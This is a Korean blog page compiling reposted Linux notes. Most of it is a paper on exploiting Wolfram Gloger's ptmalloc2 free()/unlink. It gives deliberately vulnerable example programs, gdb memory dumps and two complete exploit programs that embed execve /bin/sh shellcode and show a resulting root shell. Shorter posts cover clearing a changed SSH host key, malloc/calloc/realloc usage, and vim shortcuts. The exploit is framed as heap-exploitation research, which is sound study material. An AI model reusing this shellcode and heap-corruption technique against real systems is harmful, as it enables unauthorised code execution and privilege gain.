'리눅스 서버에 대해서/리눅스 팁들'에 해당되는 글 23건

출처 : http://x82.inetcop.org/h0me/papers/ptmalloc2.txt

 
Wolfram Gloger's ptmalloc2 free exploit 구현

-목 차-

1. 분 석.
2. 결 론.
3. Reference.

--


1. 분 석.


ptmalloc2의 최신버전은 2002년 11월에 발표되었습니다. Doug Lea의 malloc 2.7.x를
기반으로 개발되었으며, 이 코드는 glibc-2.3.x에 포함되어 있다고 합니다.
자세한 사항은 개발자의 페이지를 참조하시기 바랍니다.

http://www.malloc.de/

예전 ptmalloc 버전은 과거 glibc에 포함되어 있는 malloc 처리 방식과 매우 흡사합니다.
그래서, free() exploit method도 같습니다. 하지만, ptmalloc2에서는 그 방식을 약간
수정하였습니다. (예를 들면, chunk_free() 함수를 _int_free() 함수로 변경하였다던지..)

어쨌든 분석해보고 exploit method를 구현해보도록 하겠습니다.

우선 malloc_chunk 구조체를 확인한 후,

--
struct malloc_chunk {
	INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
	INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

	struct malloc_chunk* fd;         /* double links -- used only if free. */
	struct malloc_chunk* bk;
};
--

이 부분부터 free() 함수 처리 알고리즘입니다.

--
void
_int_free(mstate av, Void_t* mem)
{
 	mchunkptr       p;           /* chunk corresponding to mem */
 	INTERNAL_SIZE_T size;        /* its size */
	mfastbinptr*    fb;          /* associated fastbin */
	mchunkptr       nextchunk;   /* next contiguous chunk */
	INTERNAL_SIZE_T nextsize;    /* its size */
	int             nextinuse;   /* true if nextchunk is used */
	INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
	mchunkptr       bck;         /* misc temp for linking */
	mchunkptr       fwd;         /* misc temp for linking */

	/* free(0) has no effect */
	if (mem != 0) {
		//
		// mem이 NULL이 아닌 경우, chunk ptr인 mem의 chunk인 p 값을 구합니다.
		// 즉, p = ((mchunkptr)((char*)(mem) - 2*SIZE_SZ)) 문법이 되는데.
		// 이것은 prev_size와 size 값(총 8)이 있는 이전으로 ptr를 옮깁니다.
		//
		p = mem2chunk(mem);
		//
		// 이제 chunk p의 size 값을 구합니다. 이는 다음 문법이 적용됩니다.
		// size = ((p)->size & ~((0x1|0x2|0x4)))
		//
		size = chunksize(p);

		...

		/*
		   Consolidate other non-mmapped chunks as they arrive.
		*/
		//
		// 이 부분은 unlink() 매크로 함수 수행을 위해
		// 반드시 거쳐야 하는 if문 입니다.
		// ((p)->size & 0x2)의 조건 문법 결과가 0인 경우,
		//
		else if (!chunk_is_mmapped(p)) {
		//
		// nextchunk를 구합니다. 다음 문법이 적용됩니다.
		// nextchunk = ((mchunkptr)(((char*)(p)) + (size)))
		// 현재 chunk size를 더하여 다음 chunk를 가리킵니다.
		//
			nextchunk = chunk_at_offset(p, size);
		//
		// 위와 같은 방법으로 다음 chunk의 size를 얻습니다.
		//
			nextsize = chunksize(nextchunk);
			assert(nextsize > 0);

		//
		// 매우 중요한 부분입니다.
		// 이 조건문을 통과해야 첫번째 unlink()와 만날 수 있습니다.
		// ((p)->size & 0x1) 문법의 결과는 0이어야 합니다.
		// (하위 비트가 0인지 검사)
		//
			/* consolidate backward */
			if (!prev_inuse(p)) {
		//
		// 이전 chunk의 size를 구합니다.
		//
				prevsize = p->prev_size;
				size += prevsize;
		//
		// 위와 같은 방법으로 이전 chunk를 포인터합니다.
		// ((mchunkptr)(((char*)(p)) + (-prev_size)))
		//
				p = chunk_at_offset(p, -((long) prevsize));
		//
		// 첫번째 unlink 매크로 함수가 실행됩니다.
		// 문법에서 확인할 수 있듯이 기준이 되는 chunk의 이전 chunk 정보를
		// 참조하여 병합이 이루어집니다.
		//
				unlink(p, bck, fwd);
			}

		//
		// 다음 chunk가 top이 아닌 경우.
		//
			if (nextchunk != av->top) {
		//
		// 이 문법은 다음 공식과 같습니다.
		// ((nextchunk + nextsize)->size & 0x1)
		// 결과 값이 0이면 unlink 매크로 함수를 호출하게 됩니다.
		//
				/* get and clear inuse bit */
				nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

				/* consolidate forward */
				if (!nextinuse) {
		//
		// 두번째 unlink 매크로 함수가 실행됩니다.
		// 문법에서 확인한 바, 기준이 되는 chunk의 다음 chunk 정보를
		// 참조하여 병합이 이루어집니다.
		//
					unlink(nextchunk, bck, fwd);
					size += nextsize;
				} else clear_inuse_bit_at_offset(nextchunk, 0);
		...
--

이번 문서에서 공격할 방법은 저 두가지 unlink 매크로 함수를 이용합니다.
기준 chunk의 이전 chunk를 참조하는 방법과 다음 chunk를 참조하는 방법이 다르므로,
두가지 경우를 따로 설명드린 후에 exploit 하도록 하겠습니다.

unlink() 매크로 함수는 공통적으로 쓰는 Doug Lea의 것과 같습니다.

--
#define unlink(P, BK, FD)                                                           \
{                                                                                   \
        BK = P->bk;                                                                 \
        FD = P->fd;                                                                 \
        FD->bk = BK;                                                                \
        BK->fd = FD;                                                                \
}
--

먼저, 이전 chunk를 참조하여 병합하는 첫번째 unlink 매크로 함수 수행법을 연구해보도록
합시다. 공략할 예제 src code는 다음과 같습니다.
이 예제는 첫번째 unlink() 매크로 함수를 통해 exploit 할 수 있도록 작성되었습니다.

--
int main(int argc,char *argv[])
{
	char *first_chunk=(char *)malloc(16);
	char *second_chunk=(char *)malloc(20);

	strcpy(first_chunk,argv[1]);
	free(second_chunk);
	/*
	** 두번째 chunk를 free하는 이유는 첫번째 chunk를 free할 경우,
	** malloc_consolidate() 함수 내의 unlink() 매크로 함수에 의해
	** 병합이 중복 수행되기 때문입니다.
	*/
}
--

반드시 작업하고 넘어가야 하는 것이 있는데 그것은 현재 if 문법에 의해 checking 되는
현재 chunk의 정보입니다.

예를 들면, "if(!((p)->size & 0x2))" 문법 부분과 "if(!((p)->size & 0x1))" 문법
부분입니다. 그렇게 두번의 if 문법을 거치면 이전 chunk의 정보를 구하는 문법을
진행할 수 있게 됩니다.

그 다음에는 현재 chunk의 prev_size 값을 조작해야 합니다.
prevsize라는 변수에 저장되는 int형 값을 통해 이전 chunk의 위치를 정하게 됩니다.
"p = chunk_at_offset(p, -((long) prevsize));"
결국, 현재 chunk에서 prev_size 값을 빼서 이전 chunk를 구합니다.

이렇게 하여, 이전 chunk 위치를 pointer하는 p가 unlink() 매크로 함수에 의해
병합을 수행하게 됩니다. 그런데 여기서 주의할 점은 공격자가 p의 위치를 제어할 수
있다는 점입니다. 결국, 조작된 p(가짜 chunk)를 첫번째 unlink() 매크로 함수에
수행하도록 넣어 줌으로써 exploit이 가능하게 됩니다.

자, 그럼 성공적인 exploit 수행을 위해 설정해야할 값들을 얻어보도록 하겠습니다.
(참고로, ex 프로그램은 뒤에서 소개할 exploit code입니다.
시험을 위해 retaddr을 0x82828282로 설정하였습니다.)

[root@test ptmalloc2]# gdb -q ex
(gdb) r
Starting program: /tmp/ptmalloc2/ex

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000be0 in _start () from /lib/ld-linux.so.2
(gdb) c
Continuing.
[New Thread 1074041472 (LWP 5756)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1074041472 (LWP 5756)]
0x40039447 in _int_free (av=0x4003b0c0, mem=0x8049a50) at malloc.c:4149
4149            unlink(p, bck, fwd);
(gdb) x/16 0x8049a48-24
0x8049a30:      0x00000000      0x00000019      0x12121212      0xffffffff
0x8049a40:      0x34343434      0xffffffff      0xfffffffc      0xfffffff8
0x8049a50:      0x56565656      0x080499a0      0x82828282      0x00000000
0x8049a60:      0x00000000      0x000015a1      0x00000000      0x00000000
(gdb)

먼저 free가 수행되는 target chunk(현재 chunk) 정보를 설정해야 합니다.
여기서 매우 중요한 점은 현재 chunk의 size가 if문을 두번 거친다는 사실입니다.
필자는 이 부분을 -8(0xfffffff8)로 설정하였습니다. 그 이유는 다음 chunk를 참조하여
발생하는 두번째 unlink() 매크로 함수의 영향 때문입니다. 성공적으로 첫번째 unlink()
매크로가 수행되었다 하더라도 다음 unlink() 매크로 함수가 조건에 맞게되어 수행되면
exploit을 실패할 수 있기 때문입니다.

그래서 첫번째 unlink() 매크로 함수만 수행될 수 있도록 조건을 설정해야 합니다.
현재 chunk의 위치는 0x08049a48인데,

(gdb) x/5 0x8049a48
0x8049a48:      0xfffffffc      0xfffffff8      0x56565656      0x080499a0
                ~~~~~~~~~~
0x8049a58:      0x82828282
(gdb)

size를 -8로 설정하였으므로, 다음 chunk의 위치는 0x08049a40이 됩니다.

(gdb) x/5 0x8049a48-8
0x8049a40:      0x34343434      0xffffffff      0xfffffffc      0xfffffff8
                ~~~~~~~~~~
0x8049a50:      0x56565656
(gdb)

결국, nextsize는 0x08049a44 주소에 있는 값을 "size & ~((0x1|0x2|0x4))" 공식에
의해 계산됩니다. (예제: 0x08049a44 주소에 -1(0xffffffff) 값이 있을 때,
nextsize의 결과 값은 -8이 됩니다.)

(gdb) x/5 0x8049a48-8+4
0x8049a44:      0xffffffff      0xfffffffc      0xfffffff8      0x56565656
                ~~~~~~~~~~
0x8049a54:      0x080499a0
(gdb)

그러면, 다음 if 문에서 비교하는 "((nextchunk + nextsize)->size & 0x1)" (하위 비트가
0인지 검사) 문법결과에 의해 size의 위치는 0x08049a3c(-8+4)가 됩니다.

(gdb) x/5 0x8049a48-8-8+4
0x8049a3c:      0xffffffff      0x34343434      0xffffffff      0xfffffffc
                ~~~~~~~~~~
0x8049a4c:      0xfffffff8
(gdb)

이 위치의 값들 역시 공격자에 의해 조작되어야 합니다. (두번째 unlink() 매크로의 수행
여부를 결정하므로) 이 조건식의 결과를 0으로 만들어 수행되지 않도록 합니다.
(하위 비트를 1로 설정함) 예제: !(0xffffffff & 0x1) 결과는 0.

지금까지, next chunk에 의한 두번째 unlink() 실행을 회피하기 위해 설정하는 내용을
정리해보면,

--
+------------+------------+-----------------------------------+
|   주 소    |     값     |             위치 설명             |
+------------+------------+-----------------------------------+
| 0x08049a38 |   dummy    | (nextchunk + nextsize)->prev_size |
| 0x08049a3c | 0xffffffff | (nextchunk + nextsize)->size      |
| 0x08049a40 |   dummy    | (nextchunk)->prev_size            |
| 0x08049a44 | 0xffffffff | (nextchunk)->size                 |
+------------+------------+-----------------------------------+
((nextchunk)->size & ~((0x1|0x2|0x4))) == (nextsize)
(0xffffffff & ~((0x1|0x2|0x4))) = -8 (0xfffffffc)
--

이와 같습니다.

현재 chunk의 prev_size 값은 -4(0xfffffffc)로 설정하였습니다.
이 값은 이전 chunk의 위치를 판가름하는 매우 중요한 역할을 합니다.
현재 chunk의 위치 - (-4)의 공식은 현재 chunk의 위치에서 +4를 해주는 결과이기 때문에
위에서 가정한 chunk의 위치에서 4를 더해준 0x08049a4c가 조작된 이전 chunk의 위치가
됩니다.

--
+------------+------------+----------------------------------------+
|   주 소    |     값     |             위치 설명                  |
+------------+------------+----------------------------------------+
| 0x08049a48 | 0xfffffffc | (chunk)->prev_size                     |
| 0x08049a4c | 0xfffffff8 | (chunk)->size & (prevchunk)->prev_size |
| 0x08049a50 |   dummy    | (prevchunk)->size                      |
| 0x08049a54 | retloc-12  | (prevchunk)->fd                        |
| 0x08049a58 |  retaddr   | (prevchunk)->bk                        |
+------------+------------+----------------------------------------+
--

자, 지금까지의 자료들을 토대로 exploit을 작성해보도록 하겠습니다.

--
#include <stdio.h>

main(){
	char xp_sh[]=
		"\x90\x90\x90\x90\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
		"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
		"\x80\xe8\xdc\xff\xff\xff/bin/sh";
	char p_pls[200];
	int in_t=0;
	unsigned long t_v=(0xbfffffff-strlen(xp_sh));
	char *ent[2];
	{
		ent[0]=(xp_sh);
		ent[1]=(NULL);
	}
	memset((char *)p_pls,0,sizeof(p_pls));

	*(long *)&p_pls[in_t]=0x12121212; /* (nextchunk + nextsize)->prev_size */
	in_t+=4;
	*(long *)&p_pls[in_t]=-1; /* (nextchunk + nextsize)->size */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x34343434; /* (nextchunk)->prev_size : dummy */
	in_t+=4;
	*(long *)&p_pls[in_t]=-1; /* (nextchunk)->size */
	in_t+=4;
	*(long *)&p_pls[in_t]=-4; /* now chunk prev_size */
	in_t+=4;
	*(long *)&p_pls[in_t]=-8; /* now chunk size */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x56565656; /* (prevchunk)->size : dummy */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x080499ac-12; /* prev chunk ptr & fd */
	in_t+=4;
	*(long *)&p_pls[in_t]=(t_v); /* bk */
	in_t+=4;

	execle("./t","t",p_pls,0,ent);
}
--

먼저, (nextchunk + nextsize)의 prev_size로 설정될 값을 0x12121212로 넣어주었습니다.
(dummy) 그 다음, (nextchunk + nextsize)의 size 값을 0xffffffff로 설정하였습니다. (-1)
이 값에 의해 두번째 unlink() 함수의 수행을 통한 중복 병합을 막을 수 있습니다.
그 다음, 0x34343434 4byte의 dummy 데이터 후, (nextchunk)->size 값을 -1로 설정
하였습니다. 이 값은 문법을 거쳐 -8이 되며, 앞서 설정한 값들을 참조시키기 위해
설정합니다. 그 다음은 현재 chunk의 관리 정보입니다. 이미 설명드린대로 -4를 현재
chunk의 prev_size로 설정했으며, -8을 현재 chunk의 size로 설정하였습니다.
그 다음 주소값 0x56565656 부분은 조작된 이전 chunk를 위한 dummy 값입니다.
조작된 이전 chunk는 현재 chunk size로 설정된 -8 부분부터 시작하므로,

--
+------------+------------+----------------------------------------+
|   주 소    |     값     |             위치 설명                  |
+------------+------------+----------------------------------------+
| 0x08049a38 | 0x12121212 | (nextchunk + nextsize)->prev_size      |
| 0x08049a3c | 0xffffffff | (nextchunk + nextsize)->size           |
| 0x08049a40 | 0x34343434 | (nextchunk)->prev_size                 |
| 0x08049a44 | 0xffffffff | (nextchunk)->size                      |
| 0x08049a48 | 0xfffffffc | (chunk)->prev_size                     |
+------------+------------+----------------------------------------+
조작된 이전 chunk의 시작부분:
+------------+------------+----------------------------------------+
| 0x08049a4c | 0xfffffff8 | (chunk)->size & (prevchunk)->prev_size |
| 0x08049a50 | 0x56565656 | (prevchunk)->size                      |
| 0x08049a54 | 0x08049998 | (prevchunk)->fd : (retloc-12)          |
| 0x08049a58 | 0xbfffffa8 | (prevchunk)->bk : (retaddr)            |
+------------+------------+----------------------------------------+
--

순서로 저장됩니다.

--
(gdb) x/x 0x080499ac
0x80499ac:      0x82828282
(gdb) x/10 0xbfffffff-86
0xbfffffa9:     0x90909000      0x900ceb90      0x90909090      0x90909090
0xbfffffb9:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffc9:     0x5e1feb90      0x31087689
(gdb)
--

이 값들을 토대로 첫번째 unlink() 매크로 함수가 수행되며, 병합 과정 후, 새로운
쉘이 실행되는 것을 볼 수 있습니다.

--
[root@test ptmalloc2]# ./ex
sh-2.05b#
--

자, 그럼 이번에는 다음 chunk를 참조하여 병합하는 두번째 unlink 매크로 함수 수행법을
연구해보도록 하겠습니다. 공략할 예제 src code는 다음과 같습니다.

--
int main(int argc,char *argv[])
{
	char *first_chunk=(char *)malloc(30);
	char *second_chunk=(char *)malloc(20);

	strcpy(first_chunk,argv[1]);
	free(second_chunk);
}
--

첫번째 unlink 매크로 함수 수행을 통한 병합과는 다르게 단순하므로, 필자는 두번째
unlink 매크로에 의한 exploit을 즐기는 편입니다. 이 방식은 다음 chunk를 참조하여
병합이 이루어지므로, 공격자는 다음 chunk 정보를 완벽하게 설정하여 가짜 chunk가
안전히 병합될 수 있도록 만들어야 합니다.

first_chunk의 크기를 30으로 변경하였는데 이는 nextchunk의 관리정보를 수정을 위한
값들을 충분히 저장하기 위한 공간이라고 보시면 됩니다. 또한, free를 두번 수행하는
방법과 이전 방법처럼 second_chunk만 free 해도 exploit이 가능합니다.
자, 그럼 이미 분석했던 문법을 통해 exploit 조건을 만들어 보도록 합시다.

앞서 이전 방법에서 두번째 unlink() 실행을 피하기위해 많은 노력을 했으므로,
그 원리를 쉽게 파악할 수 있을 것입니다. :-}
(참고로, ex2 프로그램은 뒤에서 소개할 exploit code입니다.
시험을 위해 retaddr을 0x82828282로 설정하였습니다.)

[root@test ptmalloc2]# gdb -q ex2
(gdb) r
Starting program: /tmp/ptmalloc2/ex2

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000be0 in _start () from /lib/ld-linux.so.2
(gdb) c
Continuing.
[New Thread 1074041472 (LWP 5766)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1074041472 (LWP 5766)]
0x400395ee in _int_free (av=0x4003b0c0, mem=0x0) at malloc.c:4165
4165              unlink(nextchunk, bck, fwd);
(gdb) x/4 0x8049a58
0x8049a58:      0x90909090      0xfffffff1      0x00000000      0x00000000
(gdb)

먼저 현재 chunk 크기 & 0x2 조건 문법의 결과가 0인 경우, nextchunk를 구하게 됩니다.
현재 chunk의 주소값 0x08049a58에 chunk size인 -16을 더해주면, 다음 chunk의 주소값은
0x08049a48이 됩니다.

(gdb) x/4 0x08049a58-16
0x8049a48:      0x78787878      0xfffffff0      0x08049998      0x82828282
                ~~~~~~~~~~
(gdb)

그렇게 되면 0x08049a4c에 있는 값이 nextchunk->size가 되는데 size & ~((0x1|0x2|0x4))
문법을 통과하여 계산됩니다.

(gdb) x/4 0x08049a58-16+4
0x8049a4c:      0xfffffff0      0x08049998      0x82828282      0x90909090
                ~~~~~~~~~~
(gdb)

그 후, 첫번째 ((p)->size & 0x2) if 문법이 나오는데 이 부분을 통과하게 되면 나오는
두번째 if 문법 ((p)->size & 0x1)에서 진행을 막아야 합니다. (하위 비트가 0인지 검사)
그래야 첫번째 unlink() 매크로 함수 수행을 막을 수 있습니다. (하위 비트를 1로 설정)

(gdb) x/4 0x08049a58+4
0x8049a5c:      0xfffffff1      0x00000000      0x00000000      0x00000000
                ~~~~~~~~~~
(gdb)

결국, ((nextchunk + nextsize)->size & 0x1) 하위 비트 검사 문법을 통해 결과가 0이면
두번째 unlink 매크로 함수가 실행됩니다.

(gdb) x/1 0x08049a58-16-16+4
0x8049a3c:      0x82828282
                ~~~~~~~~~~
(gdb)

결과를 토대로 작성된 exploit code 입니다.

--
#include <stdio.h>

main(){
	char xp_sh[]=
		"\x90\x90\x90\x90\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
		"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
		"\x80\xe8\xdc\xff\xff\xff/bin/sh";
	char p_pls[200];
	int in_t=0;
	unsigned long t_v=(0xbfffffff-strlen(xp_sh));
	char *ent[2];
	{
		ent[0]=(xp_sh);
		ent[1]=(NULL);
	}
	memset((char *)p_pls,0,sizeof(p_pls));

	*(long *)&p_pls[in_t]=0x12121212; /* (nextchunk + nextsize)->prev_size */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x82828282; /* (nextchunk + nextsize)->size */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x34343434; /* dummy */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x56565656; /* dummy */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x78787878; /* (nextchunk)->prev_size : dummy */
	in_t+=4;
	*(long *)&p_pls[in_t]=-16; /* (nextchunk)->size */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x080499a4-12; /* (nextchunk)->fd */
	in_t+=4;
	*(long *)&p_pls[in_t]=0xbfffffaa; /* (nextchunk)->bk */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x90909090; /* chunk prev_size */
	in_t+=4;
	*(long *)&p_pls[in_t]=-15; /* chunk size */
	in_t+=4;

	execle("./t","t",p_pls,0,ent);
}
--

0x12121212는 (nextchunk + nextsize)->prev_size로 설정될 위치 값입니다.
그 다음 0x82828282는 (nextchunk + nextsize)->size 값이 되는데 하위 비트는 0으로
맞추어 주었습니다. 다음 dummy 8byte후, -16(0xfffffff0)은 nextchunk의 size가 됩니다.
(size & ~((0x1|0x2|0x4))) 다음 덮어씌워질 정보 fd와 bk를 설정한 후, 현재 chunk의
정보를 설정하였습니다. 여기서 현재 chunk의 prev_size 값은 공격과 관련없으므로 dummy
값으로 처리했고, 다음 chunk size 값은 -15(0xfffffff1)로 설정하였는데 이 부분은 매우
중요한 의미를 가지고 있습니다. 우선, 하위 비트를 1로 설정하므로써, prev chunk 참조에
의한 첫번째 unlink() 병합을 수행하지 않게 됩니다. 현재 chunk의 size는 "size(-15)
& ~((0x1|0x2|0x4))" 공식에 의해 size는 -16 값으로 계산됩니다. 결국 참조할 다음
chunk는 -16byte를 이전으로 옮겨지며 nextsize는 앞서 설정한 -16 값을 얻어 설정됩니다.
(예: 현재 chunk의 위치가 0x08049a58이므로, nextchunk의 위치는 -16인 0x08049a48이
되고, 0x08049a4c가 nextchunk size 값의 위치가 되는데 이 위치의 값은 -16 값이 설정
되어 있으므로, (nextchunk + nextsize(-16))->size 값은 0x08049a3c의 위치가 됩니다.

--
+------------+------------+----------------------------------------+
|   주 소    |     값     |             위치 설명                  |
+------------+------------+----------------------------------------+
| 0x08049a38 | 0x12121212 | (nextchunk + nextsize)->prev_size      |
| 0x08049a3c | 0x82828282 | (nextchunk + nextsize)->size           |
| 0x08049a40 | 0x34343434 | dummy                                  |
| 0x08049a44 | 0x56565656 | dummy                                  |
| 0x08049a48 | 0x78787878 | (nextchunk)->prev_size : dummy         |
| 0x08049a4c | 0xfffffff0 | (nextchunk)->size                      |
| 0x08049a50 | 0x08049998 | (nextchunk)->fd : (retloc-12)          |
| 0x08049a54 | 0xbfffffaa | (nextchunk)->bk : (retaddr)            |
| 0x08049a58 | 0x90909090 | (chunk)->prev_size                     |
| 0x08049a5c | 0xfffffff1 | (chunk)->size                          |
+------------+------------+----------------------------------------+
0x08049a48 (nextchunk) - 16 = 0x08049a38 (nextchunk + nextsize 위치)
0x08049a38 + 4 ((nextchunk + nextsize)->size) = 0x08049a3c
--

0x08049a3c의 위치에는 위에서 설정한 0x82828282 주소값이 존재하고 있으므로,
하위 비트가 0인지 검사 시, 조건 문법을 성공적으로 수행하게 되고 결국 두번째 unlink()
매크로 함수를 수행하게 됩니다. 이때, nextchunk의 위치는 0x08049a48이므로,

+------------+------------+----------------------------------------+
|   주 소    |     값     |             위치 설명                  |
+------------+------------+----------------------------------------+
| 0x08049a48 | 0x78787878 | (nextchunk)->prev_size : dummy         |
| 0x08049a4c | 0xfffffff0 | (nextchunk)->size                      |
| 0x08049a50 | 0x08049998 | (nextchunk)->fd : (retloc-12)          |
| 0x08049a54 | 0xbfffffaa | (nextchunk)->bk : (retaddr)            |
+------------+------------+----------------------------------------+

순서로 저장됩니다.

--
(gdb) x/x 0x080499a4
0x80499a4:      0x82828282
(gdb) x/10 0xbfffffff-86
0xbfffffa9:     0x90909000      0x900ceb90      0x90909090      0x90909090
0xbfffffb9:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffc9:     0x5e1feb90      0x31087689
(gdb)
--

이 값들을 토대로 두번째 unlink() 매크로 함수가 수행되며, 병합 과정 후, 새로운
쉘이 실행되는 것을 볼 수 있습니다.

--
[root@test ptmalloc2]# ./ex2
sh-2.05b#
--


2. 결 론.


이와 같은 malloc의 종류만해도 무척 다양합니다만, exploit method가 분석된 malloc은
다양하지 못한 것 같습니다. exploit method는 아직까지 Doug Lea malloc의 exploit 방식이
주를 이루고 있고 대부분 방법론적으로 접근하기 때문에 실제 중요한 루틴을 잊게 되는
경우가 많습니다. malloc hacking에 대해 앞으로도 다양한 연구가 진행되었으면 하는
바입니다.

감사합니다.


3. Reference.


1. Malloc/Free and GC Implementations: http://www.cs.colorado.edu/~zorn/Malloc.html
2. Wolfram Gloger, ptmalloc2: http://www.malloc.de/
3. glibc-2.1.2/malloc/malloc.c src code 연구 분석: 아직 공개 안함.

블로그 이미지

프로그래머 지향자 RosaGigantea

바쁜 일상 생활중의 기억 장소

Tag ptmalloc

출처 : http://visu4l.tistory.com/343

 

가끔 가다가 잘 접속되던 서버가 아래와 같은 메세지를 띄우는 경우가 있다.

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
-생략-
Please contact your system administrator.
Add correct host key in /home/warren/.ssh/known_hosts to get rid of this message.
Offending key in /home/warren/.ssh/known_hosts:1
RSA host key for -생략(ip)- has changed and you have requested strict checking.
Host key verification failed.

참... 당황 스럽다...
욱긴건 다른 컴퓨터에서는 될때다...이러면 더 아리까리 해진다.

일단 해결법은 이렇다.

ssh-keygen -R [ IP or DomainName]


ex) ssh-keygen -R 110.110.110.110


그후에 다시 접속하면 이번엔 메시지가 바뀐다.
Are you sure you want to continue connecting (yes/no)?
대략 이런 메시지를 띄운다. 그럼 그냥 yes 하면 끝이다.


위에 상황을 예를 들면...
A host 가 있고 B server가 있다.
A는 항상 B 서버에 ssh접속하고 있었는데 B서버에 ssh나 os를 새로 설치 하는 작업을 했다.
그런후에 A는 똑같이 B에 접속을 한다. 이때 B에 IP는 똑같다면...
위와 같은 메시지가 뜬다!!

이렇게 되는 이유는 단순하다.
ssh 최초접속시에 A와 B에서 서로간에 인증 과정을 하는데.. B는 새로 설치되었으니 B는 상관없지만..
A는 예전B에 IP로 인증이 되어있는 상태에서 B로 로그인을 하면
로그인시에 예전에 IP로 인증했던 정보를 가지고 B로 로그인을 하려고 하지만 B는 인증정보가 없기때문에
위와 같은 현상이 나타난다.


만약 위에 명령어가 먹히지 않는다... 아직도 똑같다...
그러면 find / -name known_hosts 을 통해 해당파일을 찾아 지우면 된다.
보통 /root/.ssh/known_hosts 에 있다.
나니면 /home/username/.ssh/known_hosts

자신의 root면 root에 있는 것을 지워야 되고 일반 유저 이면 /home/username에 있는 걸 지워야겠죠?
블로그 이미지

프로그래머 지향자 RosaGigantea

바쁜 일상 생활중의 기억 장소


malloc와 calloc의 함수 원형은 다음과 같다.


void *malloc(size_t size);
void *calloc(size_t num, size_t size);


malloc는 할당할 메모리 크기를 바이트 단위로 전달받고, 할당된 공간의 값들은 바꾸지 않는다.
calloc는 메모리 크기를 두 값으로 나누어 전달받으며, 할당된 공간의 값을 모두 0으로 바꾼다.
그래서 배열을 할당하고 모두 0으로 초기화해야 할 때는 calloc를 쓰면 편하다.

아래 세 문장은 int형 변수를 배열처럼 5개씩 할당하는 예이다.

n = (int *)malloc( 5*sizeof(int) );
n = (int *)calloc( 5, sizeof(int) );
n = (int *)calloc( 1, 5*sizeof(int) );

여기서 'sizeof(int)'는 int형 변수가 차지하는 메모리 크기를 바이트 단위를 반환해 준다.
메모리 공간을 할당하는 점은 세 문장이 모두 같고, calloc가 할당된 공간의 값들을 0으로 채운다는 점이 다르다.
둘째, 셋째 문장은 수행 결과가 똑같다.



이미 할당한 공간의 크기를 바꿀 때에는 realloc를 쓴다.

void *realloc(void *memblock, size_t size);


realloc는 재할당한 뒤에 새로 할당된 메모리 주소를 반환한다.
기존에 있던 배열의 자료는 그대로 유지하면서 배열 길이를 늘릴 수 있다.

다음은 malloc로 배열크기를 5으로 할당하여 숫자를 채우고, realloc로 배열 크기를 10로 늘려서 숫자를 추가하는 예제이다.

#include <stdio.h>
#include <stdlib.h>

void main()
{
int *ar, size, i;

size = 5;
ar = (int *)malloc(size*sizeof(int)); // 메모리 할당
for(i=0; i<size; ++i) ar[i]=i;
for(i=0; i<size; ++i) printf("%d",ar[i]);
printf("\n");

size = 10;
ar = (int *)realloc(ar, size*sizeof(int));
for(i=5; i<size; ++i) ar[i]=i;
for(i=0; i<size; ++i) printf("%d",i);
printf("\n");

free(ar); // 할당한 메모리 해제
}



이 예제를 실행시키면 이렇게 출력된다.

01234
0123456789

블로그 이미지

프로그래머 지향자 RosaGigantea

바쁜 일상 생활중의 기억 장소

http://sunyzero.tistory.com/131



원본 이미지 출처 : http://blog.insightbook.co.kr/217 
원본 이미지 크기 : 3472x2546 , 2710x1751

"손에 잡히는 vim" 책 맨 뒤에 있는 단축키 모음입니다.(인터넷에 돌아다니는 이미지를 인사이트에서 예쁘게 재편집한 것입니다.) 인사이트 출판사에서 제작한 원본 이미지의 바탕이 아름다운 블랙 바탕이라 출력, 복사할 때 토너 범벅이 됩니다. 그래서 옅은 회색, 흰색으로 변경한 이미지를 올려둡니다.

1. 명령어 단축키

vim 단축키vim 단축키


2013.1.7 숫자 0과 닫힌 소괄호의 오류 수정함 (zelon님)


 
2. 이동 단축키

vim 이동 단축키vim 이동 단축키



바탕 화면으로 저장해두면 딱 좋을 듯 합니다.

ps. 간만에 gimp에서 작업하려니 색상을 찝어서 교체하는 방법을 까먹어서 한참을 헤매다가 겨우 완성. 무려 한 시간이상 걸렸습니다. ㅠ.ㅠ  

블로그 이미지

프로그래머 지향자 RosaGigantea

바쁜 일상 생활중의 기억 장소

Tag vim

set ts=8 sw=4 bs=2

set autoindent cindent smartindent

